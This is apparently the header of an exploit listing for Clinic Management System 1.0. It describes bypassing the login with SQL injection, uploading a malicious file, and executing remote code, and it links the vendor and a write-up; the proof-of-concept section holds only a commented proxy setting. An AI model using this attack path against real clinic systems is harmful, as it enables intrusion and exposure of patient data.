Clinic Management System 1.0 Code Execution / SQL Injection

`# Exploit Title: Clinic Management System 1.0 - SQL injection to Remote Code Execution  
# Date:21/10/2021  
# Exploit Author: Pablo Santiago  
# Vendor Homepage: https://www.sourcecodester.com/php/14243/open-source-clinic-management-system-php-full-source-code.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/Nikhil_B/clinic-full-source-code-with-database_0.zip  
# Version: 1.0  
# Tested on: Windows 7 and Ubuntu 21.10  
# References: https://medium.com/@Pablo0xSantiago/clinic-management-system-1-0-sql-injection-bypass-to-remote-code-execution-804bceac037e  
  
# Vulnerability: Through SQL injection to bypass the login form it is  
possible to upload a malicious file and after use that malicious file to  
execute code in the remote system.  
# Proof of Concept:

#proxyDict = {"http" : http_proxy,  
# "https" : https_proxy}
